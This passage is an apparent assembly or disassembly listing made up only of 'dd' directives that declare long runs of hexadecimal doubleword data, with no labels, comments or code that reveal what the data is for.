		dd 0A4A4E2A3h, 68086D10h, 803503E3h, 1A1F4FC6h,	0F8B97A53h
		dd 0CC4DFD89h, 0DC6F1998h, 215CA0CFh, 0F0EC4C6Ch, 3766F700h
		dd 0B0D867A6h, 279700C2h, 724BED19h, 0EF031F5Fh, 7DD9A9CDh
		dd 0CE4688C0h, 0D8CA602Eh
		dd 97446C78h, 936758C0h, 405D5CFDh, 130575E1h, 7273EE8h
		dd 0E92920F0h, 0DE0E5C40h, 0EADA001Ch, 0C31AD088h, 1209928Ah
		dd 859D596Bh, 0ECF24C0Ch, 875C2901h, 0D4E0DE8Ah, 37F279F7h
		dd 0E95E38h, 0E232C40Eh, 52DFE853h, 4100F03Eh, 3FD1A499h
		dd 5400AF62h, 5EAB9E1Dh, 14B217D8h, 305F80C5h, 0EE524C44h
		dd 0A0030066h, 7A4D29D3h, 9700EFEDh, 0EB860451h, 0E8D99868h
		dd 0AFC72769h, 26412090h, 3DCE6E01h, 44EAD215h,	2D658FF0h
		dd 0C18F717h, 5E008A61h, 1F50167Fh, 24FC1ACh, 0BC6E65A1h
		dd 0F851C791h, 0D0F88B05h, 50DCEB80h, 0B2440B32h, 7A81452Dh
		dd 208AC9DFh, 2F1384B8h, 38206F56h, 16DA98ACh, 0B05039h
		dd 8749D657h, 0CC98D1DEh, 0FE124CE2h, 0A8A46999h, 1840071h
		dd 0A6CFE9FDh, 761D80A0h, 0F4C0925Eh, 0C247F72Ah, 0DEB513C8h
		dd 0F0282055h, 86000EB2h, 4CDA79AAh, 60903736h,	0F92FE077h
		dd 5E16F723h, 9AA555Bh,	70916BD3h, 7CEC2269h, 9E72B701h
		dd 0DF2BF3D7h, 41802868h, 189DD3CCh, 74352300h,	272B72C9h
		dd 0F03300E8h, 2898C36Eh, 52004DCFh, 68AB5FDBh,	4AC9C467h
		dd 5C1C80BFh, 0B4A1760h, 0D4FB3442h, 8051C6h, 0EC81EAE6h
		dd 6C005DACh, 91DF1CCBh, 4619F44h, 828A985Eh, 0F2EE239Dh
		dd 0FA68E00Eh, 403F5BA9h, 528C7A38h, 29042DCEh,	0C9E7EBD4h
		dd 38FD70F4h, 5E817CD8h, 632E5D9h, 9E2E80Ah, 0C8592762h
		dd 2E9881E4h, 9981CD53h, 15B95C13h, 2C233Bh, 24A8938Fh
		dd 0E4F5535h, 48FBA78Ah, 0B4C40272h, 58F23F89h,	7152FD00h
		dd 5131D2EDh, 0F20201FFh, 0E56AB27Ah, 9EE8C40Fh, 0BBE1AD12h
		dd 0AE34EC01h, 0B0796F92h, 0F9211Ch, 422A1691h,	0FC004D7Eh
		dd 5AD68FDCh, 2B7515Dh,	0F149EE8Dh, 68E1836Dh, 2C00157Ah
		dd 92450C59h, 578B3C7h,	209C828Fh, 0D1518D14h, 17C4848h
		dd 0C095044Dh, 0CDC7C90Eh, 2543E0B0h, 90904892h, 0F100EDA2h
		dd 3806C324h, 0FB657Bh,	87580495h, 7069813Fh, 55786EE4h
		dd 0B49F3E04h, 94B4CA6Fh, 0A8E00EBh, 54EEB70Bh,	0E0FDF7C2h
		dd 8400C06Fh, 0D61D5DBFh, 480E8EEFh, 20C0102Fh,	6BB8C1E5h
		dd 4D016D76h, 0F3D5AF27h, 55DC6A7Bh, 50C4B017h,	144874FFh
		dd 0E88FB4DFh, 0F4214902h, 0B0649881h, 3668D500h, 8A888BAEh
		dd 48B0266Ch, 1EBC00B9h, 5D47F287h, 2047695Ah, 0E620817Ah
		dd 995349h, 918AA711h, 0B36F7B84h, 0FD1A1213h, 56312820h
		dd 68E40F8Fh, 64E2D992h, 0B481D0EAh, 42AAB261h,	7C201AF0h
		dd 381250ACh, 5980F02Ch, 5C831C28h, 9101D8BEh, 874669EAh
		dd 2870BC74h, 4F80B03Ah, 0C8D85231h, 110135C0h,	54CAC162h
		dd 0E160E62Dh, 0DB40C2F2h, 0CC87FBDh, 0F405E58Dh, 0F31A0FC1h
		dd 0F8DC9421h, 0E10BA063h, 76815240h, 2C56FD4Ch, 83108F00h
		dd 0DC1A8414h, 3187F8BDh, 825E9537h, 0BCC1B63Ch, 0EA4F064h
		dd 0EED82D1Dh, 290508D3h, 8400B3E6h, 9D2E1067h,	5BA709EAh
		dd 3801AED1h, 97C5F3BFh, 0F0055AA8h, 50E46F2Ah,	84500FDh
		dd 4E2D3C65h, 8069B281h, 9C51B1h, 388EF9D9h, 4B0A6453h
		dd 6C893490h, 0ED820D85h, 3AE38AC0h, 0DC109738h, 0E0CF915h
		dd 88D51843h, 0FD10B29h, 9787F0EFh, 103EB03Dh, 0D70A51FBh
		dd 0E016F92Eh, 8380A665h, 43340Bh, 92F4069Dh, 0F2DF2E74h
		dd 76F6838h, 0C0B60DA2h, 603029D0h, 6690A1F0h, 5C81F660h
		dd 5D8940B5h, 73A93890h, 0CB088507h, 48291A11h,	5C4F3168h
		dd 0B021205Dh, 0F3436804h, 3818CCh, 0FE494D24h,	6E0E1BEAh
		dd 8E642600h, 8DCAE532h, 5A47052Eh, 0C76FA710h,	4911C0FCh
		dd 3C0CB5EAh, 91FD05E3h, 0ACA6C6h, 58D908C9h, 4933D1F5h
		dd 901E1127h, 6AB0D8h, 5F281519h, 39AAEBA4h, 44141620h
		dd 0D2032F94h, 13506D1Ch, 0DDAA809Ah, 155E4FEh,	93964188h
		dd 60B0128Fh, 0F105979Ch, 0AEF4CED5h, 0A318C840h, 32E2E38Ch
		dd 3EE90CF6h, 67A99C90h, 0EADEB400h, 0AFB26DF5h, 0F6201294h
		dd 1E84B0E5h, 33699118h, 0E0882839h, 0DE090087h, 21199817h
		dd 0B34C81BCh, 3E508188h, 8EDC408Ch, 87380430h,	0A2CD6F93h
		dd 72DD00DCh, 0B923C19Ch, 0A68000C3h, 9A4B02F0h, 89007F27h
		dd 4816B35Fh, 0C77BB4h,	4A31CB0Eh, 84EB7AE7h, 8888B62Ch
		dd 6580E426h, 0BD5BB954h, 0C7F200D7h, 0C0F643A9h, 9A00D16Eh
		dd 0F935A7EBh, 6055E499h, 7A9881DFh, 5B01D063h,	0F8E5825Ah
		dd 202A214Ah, 56B6E1E8h, 8F3E703Bh, 22295F9Dh, 4090F019h
		dd 298FD40Fh, 0A03FC6h,	0CD2B50DDh, 0D63A9571h,	802DBF31h
		dd 0A38FF24Eh, 0C9B21119h, 98E49159h, 0B0E26200h, 0CD63A832h
		dd 3C337B5Bh, 0E382F4DCh, 0EB3F4AB6h, 67028876h, 0D8D25B4Bh
		dd 0ECA0004h, 58094012h, 0B4468E5h, 563703E1h, 4E61CA9Eh
		dd 335157A8h, 63E69900h, 5CD9F464h, 9F3F00B8h, 19C39B0Dh
		dd 0C0741050h, 0D4C8F84Ah, 0E5274409h, 0E8425C4Eh, 0E0202B6Bh
		dd 64887Ch, 2F47AC8h, 1999B247h, 2454F55Fh, 584100CCh
		dd 9269DE5Ch, 0CCC14AD2h, 47055794h, 0B63F2B41h, 0A5E38C08h
		dd 6100B4C4h, 0AA1BA734h, 0B9A637Ch, 0B9E659D3h, 0F1A0880Fh
		dd 4474F65Bh, 0E467138h, 0E0C0C7FBh, 0EC22BACh,	7B9900B7h
		dd 1679F280h, 61C0E9F7h, 0A566309Ah, 6C80B590h,	0FEC750F0h
		dd 0A6814B16h, 0E047E462h, 5E495ED1h, 0E4244055h, 28B6A82Ah
		dd 0E87C5A02h, 0E14FA636h, 9A12EAC4h, 0EF01ACECh, 0F62B3F4Bh
		dd 202E365Eh, 8775895Ch, 96AB2139h, 7000650Eh, 0AEDE6460h
		dd 55D7257Dh, 8A0A30A0h, 8790E34Bh, 0EA6F9B05h,	68491A13h
		dd 0C7AC0F96h, 0E3D48648h, 700EA4F2h, 0D7EFA6E4h, 46008454h
		dd 0F5387D85h, 0E227BCB8h, 50A81002h, 0D05C0022h, 0A095CC0Eh
		dd 81023C1Ch, 724C5B71h, 69F6C148h, 5C005872h, 0BCC3ABE6h
		dd 580F6AF3h, 0C0462EACh, 0F7C738FFh, 0CF60092Dh, 94091C45h
		dd 1B0720E4h, 0CA250727h, 6D0A0DC0h, 4FB63B9Ch,	0B2536C92h
		dd 0EB96006Ch, 0AF3A87BDh, 3F7F155Eh, 7E079C7Dh, 0D267FD07h
		dd 0C0D4128Dh, 0B885D800h, 0EBCA68Ch, 451CBE43h, 90BE2C2h
		dd 0D0E2C625h, 3E036400h, 0C10D78C3h, 0F8984Ah,	0E96E000h
		dd 88FDD0D7h, 31822D02h, 0C8EB2E62h, 9E82030h, 6A80570Eh
		dd 91EA38C4h, 7182D900h, 0F160696Dh, 0C5EE0B09h, 4F0443C0h
		dd 8070E817h, 3FF15A68h, 0B8E550CBh, 2B87024Bh,	885BF0D8h
		dd 407A3841h, 0FB714C9Ch, 3A970D0Fh, 3592FC01h,	76F26800h
		dd 941BF92Bh, 3EE8461Ch, 809E1C3Bh, 0B52A04A7h,	0A859E6h
		dd 0C0C670D2h, 0CEDF0646h, 1A3760C7h, 0FCE4C125h, 0AC0A0C65h
		dd 0FF64201Ch, 71681816h, 0C631000h, 762E7D7Fh,	31776065h
		dd 0C4128474h, 99D9113Fh, 69199B31h, 790E9C3Dh,	0E5E03AD6h
		dd 0BA525F4Dh, 5F84700h, 0D98FE78Dh, 923807B5h,	204D51FDh
		dd 48ED278Eh, 6CB6E1E6h, 91532840h, 8F3E0477h, 0F8B07EA8h
		dd 344880B0h, 0B245DA08h, 70BF0447h, 0F29981F6h, 4AF20344h
		dd 0E42738A8h, 443CE0A2h, 0CEFD281h, 801CF7E3h,	0F586B551h
		dd 3F626930h, 0F3892F78h, 94C86FC6h, 0E501C99Dh, 873F2070h
		dd 0A4409364h, 5130F342h, 94F8FC9Ch, 9439500Eh,	34608A8Bh
		dd 9D17615Eh, 0FC013EB5h, 85676528h, 0B03821B7h, 0C0486169h
		dd 0A7B5F500h, 0C6D80460h, 0EE389094h, 0EB116AFh, 5038E376h
		dd 13F8A029h, 17F51001h, 8B87A7D6h, 1E0CFE8h, 7B68EAB9h
		dd 0F8E527CEh, 0D87434EFh
		dd 0C2455E00h, 197D104Dh, 0BE189C0Ch, 77713701h, 0A8280AE2h
		dd 0EF0248F1h, 1EF4DA93h, 5B644085h, 40C096E5h,	1BE64115h
		dd 329D0F00h, 0CFE3E8BCh, 2F7203FAh, 192A825Bh,	5D809590h
		dd 3C099493h, 63DC80EFh, 946B5A32h, 0C5A04F84h,	9E7FC4A1h
		dd 20AC8C01h, 1A3FE088h, 29E62471h, 45557881h, 8C3253h
		dd 38ED8B30h, 0FEC662EEh, 40709E59h, 77F49785h,	0A327F301h
		dd 0D75D1074h, 58E63980h, 6339154Fh, 3D9A5C1Ch,	0EB0FA200h
		dd 3901A613h, 0F4815164h, 50C90DB0h, 78F3E4F8h,	0C890C05Bh
		dd 739BF11Ah, 8040682Dh, 36990CBCh, 4CFC6DE0h, 7D20D11Eh
		dd 60B82FE5h, 0AB9C31EEh, 0EA6A052Ch, 802D296Fh, 3F1245E8h
		dd 0D120099Dh, 80771D8Ch, 9F61384Bh, 0D28404E2h, 18F0303Ch
		dd 972D1909h, 0DE20617Bh, 7CA584DFh, 8F3449F2h,	0EC1822FFh
		dd 81616800h, 0C9894731h, 7FC8040Eh, 0A230F2B5h, 9950007Ch
		dd 579EE0B6h, 6B5B0E21h, 8B20783Bh, 82300851h, 0B2FA8009h
		dd 458800CCh, 0B5945C2Ah, 20D5E419h, 802451D1h,	10426065h
		dd 3345A3Fh, 0C8CD7886h, 0E2E0C40Bh, 0EE01CA95h, 827AE940h
		dd 0FC14A8A6h, 63338014h, 1C169683h, 80396286h,	8740F3DCh
		dd 0A401A92Eh, 80D06852h, 71A59967h, 0E0006C64h, 0B8F4D102h
		dd 0A22F2Ch, 91B99CB7h,	0FF51805Bh, 0F74CCF00h,	0EE56A80Dh
		dd 5DAEC2Ah, 3D6C6E68h,	1190C282h, 989D5064h, 0A1EEC654h
		dd 0C0101BD0h, 0CD00FC4Dh, 2BB7C369h, 4524FDBh,	5EC53928h
		dd 80E0A867h, 710CC8EAh, 0F5640055h, 0CFC09D3Ah, 9200786Bh
		dd 1B0D13C1h, 7C50C77Fh, 0B48150FBh, 902A0F40h,	0ED8984B2h
		dd 0B5000864h, 4AEF7121h, 594827h, 0A70356B8h, 709387F7h
		dd 0ABB30F01h, 7FFA34C0h, 1EC20470h, 8094BE50h,	0D6F6130Eh
		dd 78EF22F4h, 8F947Ch, 6C09FD6Fh, 2F9BD1FFh, 0F81005E2h
		dd 1884E711h, 0E0D7583Ah, 3887F55h, 4AEA001Fh, 1190C38Bh
		dd 9302E2CBh, 5DF69F7Ch, 64C68BC2h, 0C9F70480h,	9197E804h
		dd 70BBE3F4h, 370B309Ch, 4B5EB90h, 0FD478E5Ch, 0B05A6701h
		dd 20CC4E0h, 0F8A5692Ch, 9904CC23h, 50F29C82h, 0C5FFF202h
		dd 0E47C416Ah, 0C1104904h, 0EE7C8081h, 0A9004063h, 413DFA1Eh
		dd 0D05E4927h, 318DF800h, 0C8D59E5Dh, 10AC2868h, 62258020h
		dd 2328A056h, 7089297h,	0E542D632h, 43A54050h, 3F4E93FFh
		dd 33645800h, 0C00E698Ah, 20D01B49h, 970015FCh,	1939CD04h
		dd 29F1021h, 0B3D27507h, 97E04BE2h, 68529457h, 0D0017FC4h
		dd 283C341Ch, 202A267Eh, 2DF6F9F8h, 3DEF8912h, 614058B1h
		dd 5BB94D6Fh, 0BD50D010h, 652CF3D7h, 610C18DAh,	483AE01Dh
		dd 31116C5Ah, 0D469001Ch, 8002C6FAh, 0C9885E64h, 84843C80h
		dd 45708148h, 6900347Fh, 0DB3A4D40h, 170A7D1h, 0E65EEEB6h
		dd 6D552FF6h, 1CAF4C88h, 0A0004E92h, 732B03EEh,	47E709FDh
		dd 4C1898CBh, 0B001AA56h, 0B3D8B6ECh, 146ABCE6h, 0F7711CA4h
		dd 0E309CDCh, 0A3AB6068h, 2084E34Bh, 0BC2F4119h, 0C8DC7BC7h
		dd 0DBD00090h, 271B5D9Bh, 0BE19A135h, 67509A7Ch, 0E36EC080h
		dd 22724C47h, 57007878h, 8B69A3E8h, 7F7D5D0h, 0F2E6C7B8h
		dd 0A96B3048h, 909E9F82h, 0AF1A0E80h, 90E3C224h, 92701D60h
		dd 647B1481h, 4D80804Ch, 72C3516Ah, 891550Eh, 4838E037h
		dd 0CE2398Eh, 0C7864B19h, 0E37A67E9h, 74737226h, 0E147611h
		dd 3D04E837h, 0ADC14CB3h, 0C997001Ch, 0F67F4305h, 1490B53Bh
		dd 1725F0CFh, 14462Ah, 9389C6DCh, 4FCCAF9Bh, 0B4D1431Dh
		dd 7A829DDEh, 49284774h, 0C8B99184h, 0F900D7C4h, 544AAD9h
		dd 247A94CDh, 43EC6F48h, 8AD1D5BAh, 9C62CABDh, 35502076h
		dd 8ED300C5h, 48A213DBh, 0A30BAF1Ch, 0B06280D2h, 9564BC20h
		dd 0DBE77880h, 209EF619h, 1C1160ACh, 44EC8402h,	6C40D131h
		dd 430036F1h, 0ADFA1A78h, 963EE1F8h, 5CC98024h,	0D2CFAF4Fh
		dd 68A80500h, 0C4EDB7CCh, 4A310099h, 0C681FB8Fh, 80F1B0Eh
		dd 84D489A9h, 0F0F01D66h, 0C5924B33h, 0D070B100h, 0D6046DB9h
		dd 0C7F3C315h, 846A2080h, 3E4B0183h, 755F53C0h,	0D669D89Ch
		dd 0E48BBD2Dh, 0A3A900DCh, 0C9D04B47h, 0D13B249Fh, 4C988023h
		dd 72E32D80h, 0B169EA52h, 0A0820A6Ch, 0C85D44DCh, 9C00363Ch
		dd 948EA228h, 6E8B3Dh, 68ED1D8Dh, 31DF9D66h, 0F719A813h
		dd 7A00F4E2h, 119ECF8Fh, 0E22EECD8h, 3F440008h,	1AE4E4C9h
		dd 0AEBB0091h, 0AA6861BFh, 7405326Fh, 0CD1048D7h, 4E0FECF8h
		dd 194FC5B9h, 98811362h, 0DE565082h, 0C1AB0820h, 1A2A0096h
		dd 6851ADA9h, 0F2048789h, 6FBB57D5h, 0F36CCCh, 0FD4661DDh
		dd 0C6C148FCh, 1040564Fh, 0D0EC338Ch, 0E68800B6h, 6ED7862Ah
		dd 8F261012h, 660504B9h, 1C80E7BDh, 0B5E5D06Fh,	0DC2D8091h
		dd 0CB1CFB5Bh, 598190F7h, 853B2771h, 0AC66846Bh, 6A88805Ch
		dd 17D9E4BFh, 889E5831h, 0E500A49Ch, 0C7B74489h, 28B474h
		dd 0BE06430Bh, 92F2BC9h, 0C5A87102h, 40C676ECh,	0B0C36504h
		dd 2A3A01A0h, 524931EBh, 0BD56F0D5h, 0BB3E6216h, 0B4D7B4B0h
		dd 0FCE26110h, 5FA71020h, 0CA0526ABh, 88509350h, 0C900AF68h
		dd 7804BABDh, 46A0B4h, 59CFDA63h, 0DB1186A4h, 0F0EF621Ch
		dd 706A3B40h, 16B63896h, 134DECh, 0DA3E2080h, 9B4CC0F4h
		dd 8005C0B4h, 13380197h, 223276h, 6E61F1DBh, 0B22574CDh
		dd 0A4EC86h, 700BD14Fh,	0D545ECE7h, 17C081B5h, 0F06CB948h
		dd 0A430009Eh, 0FFCB4B18h, 0F9C61D17h, 0A9EC530Eh, 0CC66E2h
		dd 2F48688Dh, 3ED02D22h, 2900AC99h, 247530E4h, 0FB7A0769h
		dd 0A0A52E20h, 0C23415F4h, 0AA110E0Ch, 26E110E9h, 0A49CDA6Dh
		dd 19A461B8h, 0AAE3F69Eh, 60235FB8h, 0AFED2216h, 42C888h
		dd 0AB5DA57Eh, 0A16BF4EBh, 0B4D9AD00h, 0DA34A968h, 0E3640CD2h
		dd 3F3110F6h, 7D0FEC99h, 259D6266h, 3CDE6086h, 120201AEh
		dd 0EAC18EB6h, 0B4016E76h, 54ACB4F4h, 2C000829h, 0CEC8199Fh
		dd 0B3003FE6h, 0E8D63046h, 998FB68h, 9AB71444h,	9C18142Bh
		dd 1E0215E5h, 31D5CD26h, 0DEA8C290h, 0E51040FCh, 0E4FCC70Dh
		dd 1C794426h, 46047A11h, 0C07DF7D9h, 0A719587Dh, 3EC52117h
		dd 0C3A92020h, 38A1021Eh, 0E92F0F88h, 4227D084h, 51FB652Bh
		dd 0C558068h, 7A83F2CEh, 8059D13Fh, 0BF234BA2h,	1901494h
		dd 0B499C5ECh, 796F9334h, 50A073Ch, 389C360h, 0F04B1BC6h
		dd 5C7BB15h, 0B71664DBh, 178982A4h, 61031CFEh, 80BB06B0h
		dd 38456003h, 521FDDC7h, 5BDF005Dh, 25DEF122h, 7A815103h
		dd 0F0A4FD36h, 0C79D88D9h, 0C0BA6220h, 0CB4C5993h, 87251500h
		dd 0BEC4F252h, 63FCF3E9h, 0CF790061h, 5D345FC2h, 7330CEDDh
		dd 0A97A6062h, 3BA53B55h, 0DAFD4983h, 0E7C8E17Fh, 0AC41782Eh
		dd 865DF4h, 0A1B4832Ah,	448090A8h, 0D638207h, 56302C31h
		dd 7E0B317h, 0F9FEB9E3h, 7FDE1030h, 480093A1h, 33F0104Fh
		dd 0FCE77B69h, 20770416h, 0C356D99Ah, 0C9009C98h, 0A84CC205h
		dd 7E7B28E5h, 5234093Ah, 0E780471Ch, 0E7C68C04h, 51F640BFh
		dd 3E90A85Bh, 4C0C0033h, 0BE113DD2h, 0F31820EDh, 7D216751h
		dd 15BA0319h, 21566FA6h, 72D83D88h, 6D6C80A8h, 1CAE2600h
		dd 6BCF135Bh, 91AA60F3h, 0FF489C9Fh, 0E300F974h, 2836FAA6h
		dd 313F80h, 852D073Ch, 0DA164D49h, 0F50021E2h, 0F9FB1755h
		dd 18A51A5Fh, 696D379Fh, 7F06E0CDh, 0A288C08Eh,	631C0161h
		dd 0D2C1F76Dh, 8ABFF8E3h
		dd 9E003FF0h, 697714ACh, 2DF15F2h, 6F592356h, 0C8A0E013h
		dd 447BD955h, 4BCDCA1Ch, 2FDA73C0h, 4A5F76h, 68702CDFh
		dd 64C3B7A8h, 6893E228h, 916C3530h, 0E1E31DAh, 65E670D6h
		dd 0E70D0523h, 9D62580Ah, 0AB60B00Ah, 7BD4A3E4h, 0BB80Fh
		dd 2F325CF2h, 0D8AC86DBh, 6F296861h, 5040B916h,	0E0071AE7h
		dd 8FE03FCCh, 226F678Ah, 0B4560460h, 0FB608889h, 45F68800h
		dd 65C66E8Fh, 0C1E307A9h, 0F1665109h, 0F65F9EE9h, 491FA490h
		dd 0F38C03BDh, 9F18B8E3h, 893418A4h, 0F73F519Ah, 35994B03h
		dd 196EECADh, 21968AA1h, 86D8400Fh, 0FE02AB54h,	0B4FCB198h
		dd 146301h, 49A03BA1h, 9412160Fh, 22F2F500h, 0DAFC7CDEh
		dd 575F062Ah, 78A08BE7h, 4620D2F7h, 23BEBFh, 0C8C48110h
		dd 64E8C9B8h, 0F117FE07h, 80DE6AE1h, 1DD8681Ah,	0ACC73E22h
		dd 5AA16030h, 6B18EC6Ah, 7551C9EAh, 3591C1C6h, 31D23DC8h
		dd 3BC7CC76h, 8A0280FAh, 5F441CC0h, 0D9D8996Bh,	0B6F030h
		dd 0CB5EC242h, 27376649h, 0F6721503h, 9888B5h, 2EBA6961h
		dd 6EA31639h, 0D0130807h, 724007BFh, 0F758C0h, 16B5C36h
		dd 3CDD199Eh, 0B1344D54h, 106BC5Ch, 0F899D2C4h,	6030535Eh
		dd 0CF0D1589h, 8300D868h, 30746D01h, 0AA0065D9h, 7A3921BBh
		dd 16A86F0h, 9F23AD13h,	8C61823Bh, 61C65230h, 186F702Ah
		dd 3F4781C4h, 80008994h, 0CD64A7D3h, 386367h, 856DE0B9h
		dd 55E5E37Dh, 3FF42203h, 0F010D19Dh, 0C1C45169h, 0E699A751h
		dd 662760F0h, 5FC8DB00h, 0DE03F2C3h, 8AD8013Ah,	724830F7h
		dd 54221Fh, 0CD2FB2A1h,	3032F01Ch, 0BA19B575h, 0E0137305h
		dd 4014B72h, 134F2378h,	0C3C091h, 67205E29h, 0BB83A8h
		dd 75D5591Dh, 97A97994h, 0ABF8FA00h, 84DACD08h,	4BB73FFCh
		dd 72856CBDh, 46662C9Fh, 516A52A0h, 0ED018AEEh,	1FD995C9h
		dd 1422F464h, 9AFC09C0h, 0EA0E72ABh, 0F2BEB7h, 6FA9698Bh
		dd 0EBE5013Eh, 0CEA2DACCh, 1D61806Bh, 32886397h, 857D000Ch
		dd 0BA11B5BBh, 68982436h, 712ED90Bh, 0AB4818B8h, 9CDE002Ah
		dd 86DDB3E2h, 0D801C9AAh, 0AD6DDB59h, 29AC69DAh, 99BA1891h
		dd 6E19B9FFh, 0CE11B215h, 78508C32h, 3C3F0F99h,	648C9223h
		dd 6300BE19h, 0D6E36E95h, 2412478h, 0A951E52Eh,	0EC410D92h
		dd 676F1072h, 7B93A7Ah,	0E0A5578Ch, 3B264524h, 8C03A4CFh
		dd 0EA71DB63h, 26B84EF3h, 61883BA0h, 0F4C2197Bh, 0E7063CAAh
		dd 0B377DD08h, 0D12000B1h, 0A7FE6863h, 0DE004C44h, 0FFAEA9BEh
		dd 0F8055F17h, 4B7BC9h,	0DD3D9B5h, 756523FDh, 9C41AD60h
		dd 885957h, 10A1BC5Eh, 4943853Fh, 0DA38E374h, 1058A6h
		dd 6FC1375h, 0C70D366h,	5A349F02h, 31001CA1h, 0E0C3070Dh
		dd 0A98A76Ch, 0EFACB2E1h, 888944CCh, 0B87080ECh, 69442E0Bh
		dd 0E59803CFh, 0A2AA0F6Bh, 0F5A39EC7h, 3BAAF7BBh, 89C23081h
		dd 741BCA1h, 0EBA358D8h, 25004EB7h, 1C921564h, 6B48C13h
		dd 3969D810h, 0FCA8DD16h, 4C775A00h, 15DDA37h, 15A2239Ah
		dd 203A4853h, 7F0CE790h, 885712D4h, 52C90A8h, 0BCF21B31h
		dd 0C6508888h, 9FF9C01Fh, 3E45AE0Eh, 89C30D83h,	0C821009Eh
		dd 4C9BE47Eh, 79008303h, 548B812Fh, 0EEA15C7h, 9EA7FCE9h
		dd 0C210ACA1h, 0E8684288h, 0BB987CC3h, 0C301B213h, 4D714796h
		dd 680D068h, 0AC3F36ABh, 0CA02B129h, 0D9FF7ADAh, 9DA8076h
		dd 9056A401h, 98187F84h, 0E216145Bh, 0C09FBC51h, 0AC99B424h
		dd 200B2D0h, 0E3051EEBh, 30AD61DAh, 4B2974F3h, 64001A58h
		dd 0B7CB72C6h, 6E9CED46h, 7FE6C4h, 4A30A31Fh, 56050FFAh
		dd 0AE758AE7h, 8B2FC840h, 72482BA1h, 0CCE61C52h, 0E40500C0h
		dd 0F14192D9h, 106ED101h, 177242A6h, 0AC07C462h, 440D831Ch
		dd 4C90837Bh, 37C058DBh, 971CC763h, 0FA13A792h,	0FC007C12h
		dd 676EBA78h, 705230E5h, 5902A5B9h, 0D6D3800h, 9576F8C1h
		dd 0B4B0128h, 0ADCD9DFAh, 0EFEC4206h, 72054044h, 0F36780B3h
		dd 968EF403h, 127A39Ch,	6AA71D9Ah, 41F46BE6h, 0DEC46518h
		dd 62CEA241h, 60007B1Ch, 2244610Ch, 0FF3B9EAh, 1BCB8F69h
		dd 0F1456E47h, 80AF74F2h, 933382E9h, 56AE85h, 0AAECDC66h
		dd 21366A8Fh, 0CEF8120Bh, 9630207Eh, 0FB3C5Fh, 54FF907Ah
		dd 498AF192h, 80D6973Bh, 11EE42ACh, 382F0F5h, 9E20560Ah
		dd 3EB0017Bh, 520936FAh, 90CF1BD2h, 3F2A4ED0h, 1983DC6Eh
		dd 0E3C7A6FFh, 1F6CC0D4h, 0AA09F27Eh, 80078517h, 5C376CF4h
		dd 3F060B57h, 1C908A65h, 0EE00BBF0h, 0A488D960h, 0F2AE74h
		dd 2F270E50h, 153DB36h,	86645258h, 288E4D0h, 0D1121815h
		dd 0CEE0CC7Ah, 7002CE07h, 0ACA4E084h, 8052E4h, 99D352E1h
		dd 0BADEBB1Dh, 9F372307h, 0FB678B7Dh, 0E9D00089h, 0B975AE8Fh
		dd 0AA530080h, 490681Eh, 332EB209h, 7910050Bh, 0FBE9E400h
		dd 4B9F5DA7h, 64244330h, 0D13AACF6h, 7CECA4A9h,	0CE2D0840h
		dd 0E8DEF072h, 6D31C767h, 0ED974048h, 2F035ABCh, 7B70FF5h
		dd 588B0DBh, 0C46E58BDh, 0CF230075h, 0DE83AF7Dh, 10C719A7h
		dd 0AE31255h, 0CB7A27Fh, 0CC016028h, 75E6ACBAh,	19BB443Ch
		dd 49B36B00h, 0D04BBCDh, 801FD638h, 0D5BE7380h,	0E81D8A3Eh
		dd 60501D22h, 0F061B044h, 0B9F0387Eh, 0B1397828h, 0D4F9B503h
		dd 0E39CAC6Ah, 7029001Bh, 984FBCD9h, 7D7C16A2h,	44C93D0Dh
		dd 35C4211Eh, 40E600F1h, 0B9A2BBB7h, 0AC22DE5Ah, 1DE1F418h
		dd 0BA60BFh, 0F1870C3Bh, 0C803F53Eh, 3F756693h,	0ECC90132h
		dd 0C95F0F78h, 5AA4DC51h, 31FEA100h, 0CBDDB260h, 527199h
		dd 0ED0280A7h, 0CF6CF2C4h, 0FE0A8700h, 0C0B5429Eh, 541AE64Ch
		dd 6998D7h, 116A4E7Fh, 67882D51h, 0EBBA7501h, 2E3FDE63h
		dd 42BE7980h, 6844E965h, 35347500h, 957880D1h, 3FED1852h
		dd 1E0B2931h, 94451300h, 129C2BD8h, 72BF0096h, 54A275C9h
		dd 0E0950E33h, 1FF5C367h, 0E0AC81h, 0ED489851h,	0DE30DCC2h
		dd 960D101Eh, 0C0AFCABh, 0D14A06E9h, 0C60002C8h, 8E8151Fh
		dd 0FC30A45Dh, 0EFAD74F4h, 72CFD18Ch, 4F015219h, 19C6C79Dh
		dd 2180D21Ah, 183F996h,	6800EE97h, 84599B3Ch, 1AC1903h
		dd 0BFC4D746h, 81D11ABEh, 5402E731h, 1DE8C7CBh,	26EE0D9Eh
		dd 0F4D0EF4Ah, 29C1D30Dh, 0FE291ACBh, 0FBA7E8h,	0BE1DB081h
		dd 0A9D1062Ah, 0ACE390C0h, 44E4899h, 4465AD17h,	0FD6488E9h
		dd 20934B00h, 2C295BDDh, 0A1C90084h, 515D42Eh, 25056330h
		dd 0FAE81274h, 51C9841Dh, 0EE7407C5h, 71ED4F81h, 0DDFB1880h
		dd 0CAB515E4h, 5DA899D9h, 39ADE8E0h, 548676CBh,	21DA1AD6h
		dd 88E1F21Fh, 0EE653700h, 1DF183h, 164081CBh, 8B821831h
		dd 0DB1AAE18h, 7F6E0A31h, 4B080157h, 5AEFE546h,	0CC25FD38h
		dd 0A0703C76h, 0CC335928h, 0E1E01505h, 94305EA2h, 97258FFBh
		dd 0E20000F8h, 2AFEF61h, 24AC761Dh, 0AA2B60Dh, 6181A01h
		dd 32FBC38Bh, 901B4802h, 0C3DC294Bh, 0F8409592h, 2B9C6514h
		dd 331098C4h, 0E5192FF0h, 0EBC63BF8h, 831E482Eh, 27D44501h
		dd 0BC50104Dh, 217BC1h,	0D3E54AF6h, 3996F1CCh, 1985650Ah
		dd 0B90AB875h, 0E04EA4CBh, 0ABDE3EA3h, 9F41C006h, 1EFC480Bh
		dd 244D7F09h, 0A23C8FBBh, 40C0F291h, 7B8CBF28h,	0DC1A22AAh
		dd 0B5BD5F00h, 69DBA6B2h, 293B0189h, 756F580Ch,	0E1E68791h
		dd 0FD409537h, 1D6EB0h,	483A7DFh, 18A2BADBh, 956AC700h
		dd 0FDA44B02h, 862612B8h
		dd 74C05430h, 0DAD476C0h, 9900FD91h, 0B278E89h,	500E30AAh
		dd 88DDE8F3h, 0DC038AD9h, 0BC1BFC60h, 9212F8CFh, 0F49047h
		dd 0E510E1AAh, 0A261A6AFh, 0F095590Ah, 4180B03Ah, 0E8B36A03h
